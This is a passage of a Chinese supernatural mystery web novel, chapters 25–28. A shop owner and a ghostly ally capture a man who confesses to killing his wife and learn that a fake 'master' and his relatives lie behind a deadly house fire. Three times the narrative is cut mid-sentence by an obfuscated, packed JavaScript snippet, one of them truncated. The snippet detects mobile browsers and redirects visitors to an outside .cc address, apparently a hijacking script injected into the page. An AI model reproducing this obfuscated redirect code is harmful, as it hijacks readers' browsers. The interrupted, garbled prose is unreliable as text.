褪黑素有助眠作用,白小句一吃吃了半罐,可即便如此,火烧房子也醒不来会不会太夸张?不过小孩子会比大人睡得沉…… 可能白小句的死真是个意外?汤伟宁是在女儿死后,才失心疯杀妻,而后盯上侄子? 涂蓝埙半天没回复,白小句倒是一句接着一句:我其实一开始没睡着,那天和小光玩得太高兴了,整个人好兴奋呢,但朦朦胧胧的时候,感觉我爸爸进来抱了我一下,然后就彻底睡着了。 抱了一下,彻底睡着了? 听着像父亲哄睡小女儿的过程,但涂蓝埙觉得有点怪。 她打字:当时你们住在哪啊?还记得地址吗。 白小句打出一连串地址,涂蓝埙看了眼,山水别墅2组A栋,是鹿城外环很不错的别墅区,就是离鹿农和二院这片有点远。 汤伟宁拍视频和哭泣的地方,应该就是那了。 如果白超的死亡和被分尸得有个现场的话,山水别墅的可能性最大。 甚至,她的灵魂或许也在那里。 涂蓝埙放下手机,调转车头开往山水别墅,一路阳光正浓,想必公墓的那座山坡也是暖洋洋的,白小句此刻会坐在那棵大树下,想她的妈妈爸爸吗? 车子驶入山水别墅附近,涂蓝埙租了个临时停车位,去旁边超市买了袋东西,有吃有喝还有卫生巾,轮廓透在袋子里,她拎着它就像买东西回家的业主,戴着口罩也不引人注意。 毕竟也没哪个可疑人员会拎一袋子卫生巾走在小区里。 还没走近A组2栋,N就皱了下眉,说:“有尸体的气息,很淡,那里应该就是分尸的第一现场。” 涂蓝埙望过去,A组2栋是一栋围在草坪里的小别墅,二楼好像有影子在晃,这个时间在那的,只可能是汤伟宁。 汤鹏安不是说他上班去了吗。 一只手在二楼窗户内划过,“唰”地拉上窗帘,速度快极了。 涂蓝埙眼瞳微颤,那窗帘是白色的,此刻刚刚被摸过的地方,沾着点点红色梅花。 ——很新鲜的血手印。 25. 25 涂蓝埙瞬间意识到,别墅里有人出事了。 汤伟宁一时抓不住机会对汤光明下手,他先换了别的目标解瘾,这个变态! 她三步并作两步,急急朝别墅跑去,刚来到门内,对N说:“帮我开门,不用等我,你先进去!” N竟然站着不动,抱起双臂,懒懒看别墅二楼一眼,不太感兴趣:“你要我帮你抓他,好处呢。” 涂蓝埙一时脑袋充血,抑制住咬人的冲动,努力温和:“你想要什么好处?只要能做到,我都可以,保证说到做到!” 听见她许诺,N的表情还是不咸不淡,但好歹动了,他一动就了不得,门缝乍开,高大阴暗的身形就消失在涂蓝埙视线中,只有一道幽幽黑影闪电般蹿向楼上。 涂蓝埙加速跑,一股淡淡的血腥味从别墅一楼灌出来,她还没冲到楼梯,就听见别墅背面一声闷响,紧接着是汽车发动的声音。汤伟宁跑了! 她放弃上楼,直接从后门冲出去,院子还不小,一辆汽车歪歪斜斜碾过草坪,撞向院墙,慌不择路得像头被抽了一鞭子的蒙眼疯牛。 就在“铛”一声重响发生前,N的身影出现在车头前,下一秒,他站在原地目光一厉,微微一扬下巴,那辆汽车以短到不可能的刹车距离顿住,整个车身都向前掼了一下。 涂蓝埙仿佛听见刹车片在尖叫,而车内某人的额头重重吻上方向盘。 汤伟宁在驾驶位哆嗦着,身上沾染鲜血,嘴唇也有血,是磕一下自己咬出来的,和他的鼻血混杂合流,滴答在睡袍上,染脏那娇贵的真丝。 涂蓝埙没有放松警惕,眼前的男人再仓皇逃命,也是个杀人凶手,她和车保持一段距离,拿起手机准备报警,N站在车对面,说:“二楼只有他一个人。” “那新的受害者呢,已经走了?”就是不知是被运走还是逃走。涂蓝埙斜向上看,二楼那间把角的房间窗户敞开着,汤伟宁刚就是从那跳楼跑路的。 声音惊醒被撞懵的汤伟宁,他缩在车里不敢下来,甚至按了反锁,紧接着,汤伟宁打开车载智能屏幕,他竟然也要报警。 然而这些在N面前都是开玩笑。 轿车像陡然奓开翅膀的鸡,两侧车门“嘭”地自动弹开,形成直角,任由汤伟宁怎么拉拽都合不上,他吓坏了,但仍倔强地蜷在驾驶位,甚至一手拉扯系安全带,一手猛按喇叭以向外呼救。 这场面搞的,倒像预备杀人行凶的是涂蓝埙和N了。 鸣笛被消音,汤伟宁的车被干扰成哑巴,他拽过的安全带也自动缩离手掌,蛇一样游回原位,汤伟宁还是不肯下车。 毫无预兆地,N一下子出现在副驾驶,以一个扭曲的姿势,探身迫向汤伟宁,冷盯着他。N的苍白和碎眼珠仿佛激起汤伟宁不好的回忆,他尖叫起来,连滚带爬从车里出来了。 汤伟宁半分钟没站起来,就在地上扑腾,手脚并用也要离N越远越好,惨叫连连。 涂蓝埙走到他面前,她皱眉——汤伟宁的睡袍衣襟被蹭乱了,更多的血从里向外洇出,腥气四起,那竟然是他本人的血。 # 汤伟宁被两条领带绑在椅子上,眼睛上蒙着第三条,睡袍半解,胸腹部有一条竖向伤口,并不深,涂上药很快凝血。他之前急急拉上的窗帘,现在被用于对外遮挡他自己。涂蓝埙放心地站起身。 “你是谁,为什么绑架我,我有钱,你要多少我都能给……我不会报警的。” 汤伟宁低而哑地说,他很急切,嗓音颤抖着,将来人当成绑匪之流。 涂蓝埙没管他,在别墅里简略转一圈,的确没有疑似受害者的踪迹,汤伟宁在今天应该只伤害了一个人,他自己。 伤害现场让人大吃一惊,那是间大书房,地上铺了塑料布,墙边挂一张人体解剖图,甚至还有两大块连皮猪肉,已经被刀子割得条条糟糟。涂蓝埙拨了一下,“下刀深浅不同,有的很浅,但从左向右一刀比一刀深,最终深到能切开最下面的瘦肉层,像在练习。” 汤伟宁在练习切肉,今天用猪,明天用什么不知道。 或许也知道一点,他练到最后练自己身上去了,只是下手还算有数,真皮层下略破了几毫米,比被猫用力抓一道深不了多少。 两把刀并排扔在地上,一把是切猪肉的,一把沾血的是刚切过汤伟宁自己的。涂蓝埙扯扯脸上的口罩,闷声闷气,开始审问:“你的下一个目标是你侄子、你弟,还是你的新女朋友?” 也有可能是弟妹梁微,现在想来,梁微回老家就是察觉汤伟宁不对劲吧,只是不知为何没带上儿子,大约是感情不深。 汤伟宁浑身一震,张大嘴巴,说话都磕巴了:“你……你说什么呢?” 他愤怒起来:“你不要血口喷人!是谁找你来的?是粉丝恶作剧吗?你……你这样是犯法的,犯法的懂不懂?” 涂蓝埙反击:“好好笑哦,你把白超藏在实验楼冷室,你不犯法?” 汤伟宁仿佛被人敲一棍子,整个人萎靡下去,纵是他这种人也无法反驳这个事实,嘴里念念有词:“白超……白超她在那里……她一个人在那里……等我去看她……我对不起小宝……呜……” 说着说着,汤伟宁居然哭了,两行泪淌落下来,将蒙眼的领带润出两个湿窝。 涂蓝埙轻轻皱眉:“你也承认你杀了白超?” 汤伟宁泣不成声,哭得全身抽抽,连个整句都说不出来了,他缩腿弓腰试图作蜷缩态,却被手脚的束缚阻止,姿势堪称扭曲,刚止住的鼻血又被鼻涕冲出来。 凶手认罪时往往会痛哭流涕,涂蓝埙背过身,现在拿住了汤伟宁,大学冷室里还有白超的尸体,定罪绝对够了。 但她总觉得忘了点事,哦,是汤伟宁的女朋友小宝,小宝怀孕了。 一阵凉意爬上后背,涂蓝埙的目光不受控制地落在猪肉上,汤伟宁还拿自己的肚子练过刀,他想干什么? 小宝怀孕了…… 汤伟宁在聊天记录里和小宝说:想小宝,想孩子,希望早点见面。 # 哭完两场后,汤伟宁承认他杀了白超。 汤伟宁交代的作案过程是,那一天他和白超吵架了,事后借酒浇愁,喝断片的汤伟宁失手杀了白超,又在迷迷糊糊的状态下分解尸体,等到他醒来时,活生生的妻子已经变成一地尸块。 这段叙述大有推卸责任之嫌,但汤伟宁对于他如何打包白超的尸体,如何偷运到学校冷室,又如何用更换广告贴的伎俩将她藏了三年的事讲得很清晰,完全供认不讳。 他整个人的情绪已经崩溃掉,谁都扛不住倾吐一个独自憋太久的秘密,这种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15227431|165460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 崩塌下,人很难具备说谎的能力,除非是影帝。 但涂蓝埙觉得很离谱,先不说醉酒杀人,分尸这种活就算在清醒状态下都很难完成,更别提喝到断片的汤伟宁,他现在给自己切个腹都要先练八斤猪肉的,他能分尸? 退一万步讲,就算三年前分尸的是汤伟宁,他不应该早就对人皮人肉的刀感很熟悉吗,又何必在这傻练,难道时隔三年技艺生疏? 还是说当年分尸的不是他,而是他的同伙。 都说打虎亲兄弟,上阵父子兵,那汤鹏安不就是正经主治医师么,人家用刀可比汤伟宁熟。再联想到汤伟宁持刀尾随过小光,这人……不会是想灭亲弟弟兼帮凶的全家的口吧。 “说,当年帮你分尸白超的,是不是汤鹏安?”涂蓝埙问。 “不,当然不是鹏安,怎么可能……”汤伟宁好像听到荒谬的事情,苦笑两声,转而被涂蓝埙打断:“那你拿刀跟着汤光明干嘛?” 汤伟宁摇头摇得更厉害了:“我没有!我没做过这样的事!” 几句真几句假,涂蓝埙也不明白,汤伟宁为什么只认一半罪,他是大学老师,懂一些法,目前白超尸体是最大的证据,已经足够把他送进去,他还在挣扎什么呢? 她又问:“你在这切肉切自己,是不是为杀小宝做准备?” 汤伟宁:“你……你胡说!我怎么会杀小宝……我最爱小宝……啊,我的超超……呜呜……我在为我们两个做准备……” 涂蓝埙听得有些混乱:“什么准备?” 汤伟宁又开闸似的哭,呜咽声中带出只言片语:“是……是为了我们的孩子……让孩子来到世上……” “你这么做,征求小宝同意了吗?” “小宝会同意的!一切都是为了孩子!” 够了,涂蓝埙想,这个变态完全疯了。 如果她猜得没错,汤伟宁是在练习一场致命、粗糙的剖腹产手术,他不知出于什么变态心理,想亲手把他和小宝的孩子带到世上来。 涂蓝埙又想到小宝,有点发愁,小宝还在期盼和汤伟宁的孩子,倘若她过段时间从警察口中得知汤伟宁的想法,她还怀着孕,能接受这样惨烈的事实吗。 她顿了下,细数汤伟宁的所作所为和他的计划—— 白超、小宝是他亲口承认下手过和即将下手的被害人。 汤光明是他疑似有犯罪计划的对象。 梁微是疑似被他吓跑的潜在被害人。 而汤鹏安作为他关系网中唯一具有分尸技术能力、最可能是帮凶的人,竟同时又是最后两名潜在被害人的父亲和丈夫。 还有一个,白小句,她被烧死前夜曾被爸爸抱过,之后一睡不醒。 涂蓝埙像揭开一块盖着恐怖电影的幕布似的,手指颤了颤,轻声问:“白小句的死……和你有关系吗?” 汤伟宁满脸都是泪水,神色晦暗如濒死,点头:“有……” 畜生。 涂蓝埙闭了闭眼:“你杀过两个人,还是最亲的人,现在,你又预谋杀害第三个。” 他是一个专杀身边亲人的神经病。 汤伟宁绝望喘息,除了默认什么都做不了。 就在这时,N忽然出现在她旁边,皱眉道:“不对,这栋房子里……已经死过三个人。” 26. 26 涂蓝埙走到汤伟宁身前,皱眉:“你杀了三个人,除了白超和白小句,第三个是谁?” 汤伟宁的眼泪鼻涕血糊过嘴,一时开不了口,涂蓝埙用纸巾随手抹一下,嫌弃地看了眼手套,抽出一张湿巾,“说话。” “我没有杀……没有第三个人……我杀了超超,又害死小句,我罪无可恕……”他说着又要哭,涂蓝埙不明白为何死鸭子嘴硬,杀两个和杀三个从量刑角度有什么区别呢。 但不管她如何问,汤伟宁死活不松口,拒不供述第三名被害人的信息。 一种不好的预感在心中升起,涂蓝埙揪住汤伟宁的衣领,又觉得气势不够,转而拽紧他脑后的领带,“你是不是已经把小宝杀了!” 这男人哭起来没完没了,涂蓝埙也不管他,绕过抱臂参观的N,在汤伟宁车里拿回他的手机,用他的指纹解锁,直接在列表里找到联系人“小宝”,拨电话过去。 “滴滴嘟嘟滴滴……”电话铃声在客厅里响起。 涂蓝埙头皮都麻了,跑过去一看,一台白色手机掖在沙发缝隙中,上面扔了条凌乱的毯子,所以刚才她没看见。屏幕亮起,来电人显示是“伟宁”。 小宝的手机在这里,现代人机不离身,那小宝去哪了? 白手机被清理得很干净,什么app都没有,就一聊天软件,软件列表里有两个联系人,一个是汤伟宁,另一个是一串数字:10110101。 和汤伟宁的聊天记录就如电脑女鬼查到的那样,两人你侬我侬,不是说些甜言蜜语,就是聊小宝肚子里的孩子,汤伟宁还把他挑中的婴幼儿用品图片发过去,最后一张是那只白色熊娃娃,小宝回:老公真细心。 而10110101则没有任何聊天记录。 涂蓝埙觉得不对劲,这不像是正常人的手机,就算是汤伟宁把小宝的app都卸了联系人都删了,但还是缺少孕期伴侣最常见的两种交流内容。 ——你(我)今天吃了什么,以及孕检的拍片和指标记录。 只有两人言语上的交流,一来一回,说实话,挺塑料的,就像……他们在玩一种cosplay孕期父母的游戏。 涂蓝埙盯着小宝那张长发窈窕、抱着花束的头像,这时,汤伟宁已经在万分痛苦地用后脑勺敲击椅背,一下又一下,无法面对这一切,不知道是想把自己敲晕还是敲死。 N正巧逛到客厅酒柜,欣赏里面的藏品,偏脸冲她摇摇头,眼神略微怪异,“再提醒你一下,这里发生过的三个人的死亡,都不是这一两天的事情。” 涂蓝埙继续查汤伟宁的手机,他的手机倒五脏俱全,她在聊天app搜索列表,果然也有个叫10110101的联系人。 点开聊天记录,涂蓝埙着实吃一惊,汤伟宁和10110101的消息数很多,多是汤伟宁单方面发给对方的照片。或是长发女人穿百褶裙坐在窗边,或是长发女人脚踏一双高跟鞋踩在黑板上,还有的是抱了束鲜花……和小宝头像一模一样的鲜花。 涂蓝埙简直想打他:“你发你女朋友的照片给别人?” 虽然都没露脸,但发给别人还能用来做什么,欣赏美吗。 而为数不多的文字消息,10110101和汤伟宁各占一半,汤伟宁叫那个人“大师”或者“大仙”,那个人发来的消息则很简短—— 在月光下喝一杯清水,闭眼祈祷十分钟。 给胎儿唱一支摇篮曲。 除了这些指令,还有寥寥几句对话—— 刀买了吗。 记得找一个安静封闭的仪式场地。 别总想你杀妻害女的事,对计划不好。 恰好能和汤伟宁发给10110101的一句话对应上:大师,小宝真的能请鬼胎吗? 涂蓝埙走到客厅,N已经在拿着遥控器,心情很好地看起别人家的电视投屏,播的是儿童频道动画片,彩光映在他那张阴戾的俊脸上,很违和。 她低声:“请鬼胎是什么意思?汤伟宁是不是染上邪(、)教了?” N接过手机,刚触手,来了兴趣:“请鬼胎没听说过,但这个联系人……不是人。” 涂蓝埙立马想到N之前说的,鬼魂费点力气是能上活人网络的,只是不能留下痕迹,虽然她目前见过两个例外,一个是N,另一个是白小句下的那单。 前者能用力量太强解释,BOSS没水平怎么当BOSS?至于白小句,N是这么说的:“你在阴间论坛发帖打广告了,你的店就算和鬼魂产生了联系,很正常。” 涂蓝埙心道我店和鬼魂最大的联系,不应该是阴魂不散的你么。但她没敢说,依然虚心求教:“既然10110101是鬼魂,他难道也是厉鬼吗,怎么做到建号和发消息过来的?” N有点怜悯地扫了涂蓝埙一眼,上翘的眼尾微微一眯,他扫这一眼无端比骂人还脏,“套个壳子就可以了。” “你是说借尸还魂?” N笑起来,凉凉道:“借尸可以,还魂绝无可能,就算是套壳子也要付出代价,你真以为死人还能活第二遍?” 涂蓝埙想也对,要是N能无伤“魂穿”别人的身体,估计他早就占某个明星权贵大富豪的壳,何必屈居在她这小庙里。真能成的话,全世界入侵的诡异都有了家了。 她回到汤伟宁面前,对方嚅嚅:“你刚才在说什么……这里还有人吗……” 涂蓝埙微笑:“你一直在和一个假神仙联系,我猜猜,就是ta让你杀害白超白小句的,也是ta让你对小宝下手,你发小宝照片给那个10110101,就是让ta验货,对吗?” 汤伟宁剧烈挣扎,摇头:“不是,和大师没关系,大师一来就算中我杀人的事了,细节和经过大师都早就知道,是大师帮我作法,大师说我还有救——” “你那大师不是人。”涂蓝埙打断他,无情道:“是鬼,甚至可能是诡异。你见过ta的真人吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15231493|165460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她一边问着,一边让电脑女鬼去查10110101的账号,查出来的结果是空白,没有过往历史,没有实名认证,就像凭空冒出来的那样。N不出所料地冷笑一声。 而电脑女鬼还查出了另一个惊人的事实。 小宝的账号也是假的,里面没有被汤伟宁删过任何东西,从始至终只加过他和大师两个人。 因为背后实名认证关联的身份信息,就是汤伟宁,汤伟宁用另一个手机号注册了小宝的账号。 涂蓝埙挑出汤伟宁睡袍领口的一根长发,对着光细看,是真人的头发。小宝的账号是假的,头发却是真的。她转身上楼,十多分钟才下来,手上抓着一顶同色同发质的长发发套,是比较昂贵的真人发手织款式。 按图索骥,衣柜里翻出了“小宝”照片里穿过的百褶裙,女装XL码,而汤伟宁是个身材瘦削的男人。 没有小宝,从头到尾全都是汤伟宁。 涂蓝埙忽然有点头痛,“你扮女装去骗那个‘大师’?你知不知道自己骗到鬼了?” 而且这人还专门演了个小号对话,截图发给大师看。涂蓝埙哭笑不得:“做这些,就是为了让大师给你请鬼胎吗?你这糊弄鬼呢。说说,你要鬼胎有什么用,镇压你杀的两个人的怨气?” 汤伟宁还愣怔着,很难接受“大师是鬼”的现实,但涂蓝埙今日的所作所为好像更灵异,反倒有点说服力。良久,他好像回到学校,用一种和课题组对话的口气,认真道: “刚才情绪有点激动,确切地说,我只主动杀害了我老婆一个人,虽然在梦里没有主观意愿,但的确应该是我下的手。小句不是我主动杀的,是被我的愚蠢害死的。我愧对她们,怎么可能镇压她们呢?” 他后半段指的是褪黑素软糖,涂蓝埙听懂了,前半段她不太信:“你说你没有主观杀害白超的意愿,那么请问,你那天都喝断片了,是怎么完成杀人分尸这一系列高难操作的?你一个大学老师,总得讲点科学逻辑吧?” N看着电视,在不远处笑了一声,头也不回道:“说不准那个大师早就盯上他了。” 涂蓝埙背后一震,脑中瞬间连珠成线,那个大师是借人壳子的鬼,既然能借眼下这个身体,为什么之前不能借汤伟宁的身体。 换句话说,当时杀白超的是汤伟宁的身体,但那身体里面,真的是汤伟宁本人吗? 汤伟宁被涂蓝埙一问,笃定:“就是我杀的!” 涂蓝埙没见过这号上赶着认罪的,追问道:“你怎么确定呢?” 汤伟宁脖子梗得很直:“我看见了!” 涂蓝埙紧追不放:“你不是喝醉了吗,怎么看见的?” 汤伟宁:“我迷迷糊糊时梦里看见的,有头有尾,就是我干的没错。” 涂蓝埙问:“你第一视角看见自己杀人了?手里拿着刀,分割尸体?” 汤伟宁想了两秒,摇头道:“不对,是第三视角看见的,是我的背影在杀超超。” 27. 27 涂蓝埙盯了汤伟宁几秒,对方的哭泣像一场断断续续的烦人的雨,她忽然对N说:“他不是凶手。” N笑了起来,那双破碎的眼珠很沉凝地望过来,声音不染半点笑意,“你凭什么确定?没有法律,没有人证,所有物证都指向他的嫌疑,你凭什么替他宣布他的清白……” 他说得没错,假如汤伟宁现在被扭送到公安机关,尸块、冷室、手术刀还有他自己的口供,足以光速定罪,而涂蓝埙或能得个荣誉市民奖章什么的。 涂蓝埙倔强:“这背后藏着很大一件事,一切都太不正常了,难道不值得怀疑吗?我们不能忽视步骤中的疑点,只在乎寻求一个似乎正确的答案,这不是做题!” N针锋相对,他是故意的:“可他已经亲口认罪了。” 涂蓝埙:“那是因为他被迷惑了,有人故意让他以为自己杀了白超,杀了白小句,无形中引导他做现在这件事——请鬼胎。” 说出来,她自己都愣了。 10110101在搅乱汤伟宁的思维?没错,就是这样,那个鬼怪伪装的“大师”,他绝不是最近才盯上汤伟宁的,这个局从家庭里第一个人死去,就已经开始布了! 汤伟宁还在椅子里呜咽,混乱到无法接收外界信息的程度。 涂蓝埙感觉身体迸发出一股力量,她松开汤伟宁身上的束缚,但没放开他,反而用细胳膊细腿将他掼在地上,左右环顾,拿了杯水泼在他脸上。 她的语气比行为要温柔,蹲下按住他:“清醒一点吧,你家就剩你自己了。现在告诉我,从最开始讲起,你女儿白小句死的那一天,到底发生了什么?” 汤伟宁被领带蒙着眼睛,脸皮抽搐两下,断断续续开始吐露深藏的记忆。 # 五年前,燥夏。 汤伟宁对那个暑假记忆深刻,因为发生了两件事,第一,历时整整一年的装修,他们一家三口终于搬进这栋新别墅,这是值得庆祝的事。 第二,白小句期末考试全班第一名,加上白超是百万粉丝的视频制作者,她在同学里也成了小明星。白小句给白超和汤伟宁各要了一个奖励:白超一整天不许批评她,汤伟宁给她买一只网上很火的白熊娃娃。 除此之外,白超一家人还邀请小叔子汤鹏安一家人来别墅,吃饭,暖房,共庆乔迁之喜。 一大家子坐在桌上,每个都是在笑的,连最内向的汤光明都被白小句带得活泼起来。席间汤鹏安提一杯酒敬哥哥嫂嫂,到底是师医公编制内,笑得圆满,话说得也圆满,带着些前途稳重的斯文。 白超自然回敬,她口才好,自己又没有姐妹兄弟,和汤鹏安和梁微两口子关系不错,彼此捧着敬着,大家心里都和乐。 只是汤伟宁细心注意到,汤鹏安和梁微的表情不太自然,梁微还斥了儿子汤光明两句,又被汤鹏安睇一眼拦住,好像心情不好。 想想也是,小光马上就上小学了,入校前测试没考好,弟弟两口子工作都体面,弟弟尤其要强,平时没少鸡娃,可小光这孩子自小就呆呆闷闷,报多少早教班都没用。 大好的日子,汤伟宁有心打圆场,让闺女领着弟弟去楼上玩电脑,白小句嘴一噘,辫子一扬:“早等你这句话,我俩早闷了。” 白超怒了:“怎么和爸爸说话呢。” 白小句振振有词:“违规!妈你答应今天不批评我的,还有爸,你就蒙我吧,许我的小白熊呢?熊呢?” 一桌子大人笑起来,汤鹏安乐呵呵地,从他那只登山包里拿出个红包来,奖给白小句:“二叔给的,拿着,就当替你爹给你买熊了。” 汤伟宁让了两句,没当回事,但到底好奇:“又不出去野营,你背这大包干嘛。” 汤鹏安苦着脸:“还不是我这好老婆,梁微最近爱上烘焙了,非折腾往家买什么烤箱,还怕打不好奶油,这不,今天她拐去大商场买了好几瓶喷嘴罐装奶油,你说说,这和打出来的能是一个味吗。天热,放车里她怕晒坏了。” 他拨了两下包里的五六只铝皮长罐,梁微有点尴尬,笑着遮过话题:“嫂子,哥,小句这闺女够可人疼的了,怎么不再要个二胎,来个妹妹弟弟也给她就伴啊。” 白超汤伟宁还没说话,汤鹏安就横了梁微一眼,开玩笑,“管那么宽呢,人家生不生二胎还要插手,你能帮上忙啊。” 这句玩笑开狠了,梁微眼圈当即红起来,汤鹏安被兄嫂说了两句,也软下身段去哄梁微,很快场面又圆回来。 但其实怪不了汤鹏安,白超当年生白小句身体受损,很难再要孩子了,梁微说这话属于失言。白超没计较,笑着给梁微夹菜——她本来也没打算再要一个。 一桌子菜从傍晚吃到入夜,又一边看电视一边聊天,保姆做完晚饭就先走了,汤伟宁自动去刷碗,白超三人看电视吃水果嗑瓜子,很快又添两袋垃圾,他拎出去倒掉。 那天晚上也不知怎么回事,本来附近设置的公共垃圾桶挪了位置,汤伟宁往出走一段才丢掉垃圾,回去的时候局已经散了。 汤鹏安和梁微正带着儿子要辞别,白超苦留,推拉两番,一屋子人又起意去新建成的绿地公园转转,就在别墅区旁边,白超惦记二楼,“小句还睡着呢,要不把她叫起来,叔叔婶婶还没走她就先睡了,像什么话。” 汤伟宁疼女儿,难得和老婆意见相左,“哎,在自己家睡觉能有什么事?而且近,这边喊一嗓子那边说不准都能听见。” 于是就这么出发了,汤伟宁亲手锁的门,就他一个人带了院门感应钥匙。 一行人走走停停,绿地公园里小摊贩不少,他们期间还走散一次,梁微给汤光明买了支塑料风车,汤光明非要给白小句也买个,拿了就往回跑,说给姐姐个惊喜。 梁微没拦住,汤光明平时看着蔫,可六岁小男孩狂奔起来跟□□似的,她没追上,最后和白超和汤家兄弟一道追过去,一路追回别墅院子外。 ——院子亮堂堂的,楼正烧着,火光浓烟从二楼窗户直冲房顶,好像一只砖瓦砌的大灯泡,里面影幢幢的,像直视过去让人双目泪流的灯丝。 事实证明,别墅这边喊一嗓子,公园的确是听不见的,所以没人知道白小句到底喊没喊过。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238163|165460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 消防队来了,从里面抱出两具全乎的小孩身体,被烟熏得黑一块白一块,大的女孩送去殡仪馆,小的男孩送去ICU。 最后的现场勘验结论是,电路接触错误有重大安全隐患,今天别墅里第一次大规模用电,闸又没关,电火花溢出点着了窗帘,虽然旁边的鱼缸和绿植延缓火势扩大,但滚滚浓烟入侵呼吸道,就这么要了白小句的命。 装修时负责电路的师徒被判了刑,他们的公司赔出巨款,白超一夜老了十岁,汤光明头脸肩颈留了这辈子抹不干净的烧疤,汤鹏安和梁微也哭得死去活来。 汤伟宁呢?汤伟宁直接晕过去了。 他在看到火场里那熏黑了的褪黑素瓶子,里面只剩两粒软糖的时候,就双眼一翻晕过去了。 # “门是我锁的,药是我买的,小句是我留在家里的……你说,这事能跟我没关系么?就是我害的她!” 涂蓝埙心说不对,电火花爆炸的声音很刺激人,褪黑素的劲再大,也不至于让人像打了麻醉似的醒不过来…… 等等,打麻醉? 汤鹏安和梁微,不都在医院工作吗。 但偏偏汤伟宁再三保证,那晚出门只有他带了钥匙,院门是他反锁的。家门他也锁了,由于开空调,整栋别墅都是关着窗的。 涂蓝埙追问:“你家一共三道门,院门、楼前门和楼后门,你都锁了?” 汤伟宁想了两秒钟,说:“全锁了。小句从里面能打开,外面是打不开的。” 涂蓝埙轻轻叹了口气,有点无奈:“外面打不开,小光是怎么跑到火场里被烧伤的?” “哦,哦,是这样的。”汤伟宁的记忆有些模糊,他想起来了:“小光是从院墙翻过去的,踩着个垃圾桶,至于屋门,我记得是用指纹解锁的,估计是小句那天带小光录的指纹吧,她爱摆弄那个。” 涂蓝埙的手指飞速打字,手机传来白小句的回复,小丫头记性很好,笃定道:“不,我没给小光录指纹,我又不傻。” 她睫毛颤了颤,转向汤伟宁,虽然对方看不见她,“你家的门,装修完成后换过吗?或者说,装门的时候是你本人在场吗?” 汤伟宁:“我知道小姐你在怀疑什么,但这绝对跟我弟弟一家没关系,装修是两家人一起监督完成的,而且那天我弟弟在公园全程和我在一起,小梁更是个弱女子,她也……” 他的声音渐渐停了,转而艰涩,最终汤伟宁把脸一捂,却摸了一手领带:“梁微大学学的……我记得是电气……” 涂蓝埙问:“小光当夜通过指纹进入火场这件事,是谁告诉你的?” “是梁微……”汤伟宁虚弱极了,“可,如果真是她,她为什么这么做?” 涂蓝埙忽然有些同情地看了他一眼。 “你自己说的,白超当年生育后伤了身体,基本不能再怀孕了。如无意外,白小句会是她人生中唯一一个孩子。” “也是唯一的继承人。”她环顾这偌大的别墅。 “如果没了白小句,你们夫妻俩要过继孩子的话,最可能从哪找呢?” 28. 28 汤伟宁的脸委屈成一团,像是被人揉皱的衰猫,“我不是没这么想过,可是,可是……火场勘察什么都没发现啊。” 涂蓝埙紧盯,“你弟弟全程每分每秒都和你在一起吗?” 汤伟宁点头,“嗯,那天晚上我接了个学校的电话,他也用手机回过消息,但我们都没离开过彼此的视线。” “那去公园之前呢?”涂蓝埙问:“汤鹏安或者梁微有没有单独上过楼,进过白小句的屋子?” 汤伟宁抱住自己的脑袋,“我不知道,我一直在洗碗,那个洗碗机中途坏了,修它就用了半个多小时,陪客人的是超超。” 可是白超已经死了。涂蓝埙先放下这个问题,转而问白超被害那天的细节,可汤伟宁受了伤,今天又被她和N折腾几个来回,他已经精力耗尽语无伦次。 N递了个薄片给她,皱眉,“他开始说胡话了,用这个直接看吧。” 涂蓝埙接过来,是之前用过的那枚单片眼镜,“这不是看鬼的吗?” “不是,是看真相的。鬼隐身你用它能见鬼,活人的话……”N忽然冷笑。 活人把血涂在镜片上的话,别人再用这镜片看ta,就能看见此人的回忆,但前提条件是ta完全知情,并且自愿主动贡献把血液涂在上面。 汤伟宁麻木地点点头,表示愿意配合,他一撩睡袍,竟然想把胸腹处的伤口挤开,被涂蓝埙拦住,“手指,切手指。” 要是今天把人弄进急救室,她之后的店也不用开了。 单片眼镜被涂成红色,涂蓝埙将圆片放在眼睛前面,由于是东方人,她做不到像西方人那样直接把镜片卡在眉骨和鼻梁的夹角——鼻子够高,但眉骨不够。 透过眼睛的视野是红色,她盯住红色的汤伟宁,按N给的指令说道:“现在,开始回忆白超死的那一天。” 半干的血液在眼镜上自动流转,聚散成可疑的红雾,当红雾再度散开时,涂蓝埙眼前一晕,不由自主闭上另一只眼,地上坐靠着的睡袍汤伟宁,已经变成了衬衫西裤的版本。 那是三年前的他。 三年前的汤伟宁比现在年轻一点点,和汤鹏安面对面坐着,桌上摆满空啤酒罐,他看上去醉得像煮熟的生腌虾一样,头一点一点。 汤鹏安把他架起来,挪动到沙发上,同时汤伟宁的另一只胳膊握上一双女人的手,白超出现了,两人合力挪动汤伟宁。 